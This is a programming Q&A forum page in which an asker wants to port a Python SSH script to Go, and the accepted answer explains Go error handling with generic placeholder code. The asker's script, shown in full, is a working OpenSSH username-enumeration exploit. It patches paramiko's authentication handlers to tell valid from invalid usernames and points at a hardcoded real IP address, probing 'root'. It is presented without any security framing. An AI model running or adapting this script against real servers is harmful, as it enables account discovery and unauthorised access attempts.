doushan2224 2018-08-26 09:49
浏览 392
已采纳

golang使用ssh连接到ssh并打印错误异常

I want to convert python code in golang version, this is my python code:

#!/usr/bin/env python

import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

#logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

sock = socket.socket()
sock.connect(("206.189.86.110", 22))

transport = paramiko.transport.Transport(sock)
transport.start_client()

try:
    transport.auth_publickey("root", paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

this is my curent golang code : https://play.golang.org/p/rzZ7f_if7Wk , I want to create same exception like python code version except InvalidUsername: and paramiko.ssh_exception.AuthenticationException , how I can do this?

  • 写回答

1条回答 默认 最新

  • duanjia1870 2018-08-26 14:41
    关注

    First of all, I feel the approach you're taking is a little odd. Python and Go are two distinct programming languages, with different coding paradigms and totally different ways of handling error/exceptions. Hence, starting with a piece of Python code and converting it to Go might not always be straightforward.

    Since your question is eventually about handling exceptions, this is a simple article on how Go handles errors: https://blog.golang.org/error-handling-and-go (In summary, functions deliberately return errors as values, and anyone who calls the functions checks if an error has been returned and then does whatever it wants e.g. panic, print the error, or return the error upstream, etc.)

    In the Go Playground link you provided, a lot of things can be discussed - the use of ssh package, handling or errors etc. Here is a quick code focusing on the exception handling (and not the ssh package and logic).

    NOTE: This is NOT a demonstartion of how to use the ssh package to authenticate, so please don't use it for such. This is just an example of how I would introduce custom standardized exceptions/errors in the logic.

    import (
        "fmt"
        "golang.org/x/crypto/ssh"
    )
    
    var ErrInvalidUsername error = fmt.Errorf("Invalid Username")
    var ErrAuthenticationFailed error = fmt.Errorf("Authentication Failure")
    var ErrPublicKeyNotParsed error = fmt.Errorf("Could not parse the public key")
    
    func AuthenticateExample(username string, publicKey []byte) error {
        // let's assume there is a function isValidUsername that takes a username and returns bool 
        if !isValidUsername(username) { 
            return ErrInvalidUsername
        }
    
        // do your ssh auth logic here, call ssh package functions which will return an error
        // such as...
        pubKey, err := ssh.ParseKey(publicKey)
        if err != nil {
            return ErrPublicKeyNotParsed 
            // OR you could simple also return the err variable itself by using:
            // return err
        }
    
        // do more logic, and return ErrAuthenticationFailure is needed
        // ... 
    
        return nil // since there is no error if we reach this line
    }
    

    I hope this helps explain Go's exception handling a little. Good luck!

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥65 永磁型步进电机PID算法
  • ¥15 sqlite 附加(attach database)加密数据库时,返回26是什么原因呢?
  • ¥88 找成都本地经验丰富懂小程序开发的技术大咖
  • ¥15 如何处理复杂数据表格的除法运算
  • ¥15 如何用stc8h1k08的片子做485数据透传的功能?(关键词-串口)
  • ¥15 有兄弟姐妹会用word插图功能制作类似citespace的图片吗?
  • ¥15 latex怎么处理论文引理引用参考文献
  • ¥15 请教:如何用postman调用本地虚拟机区块链接上的合约?
  • ¥15 为什么使用javacv转封装rtsp为rtmp时出现如下问题:[h264 @ 000000004faf7500]no frame?
  • ¥15 乘性高斯噪声在深度学习网络中的应用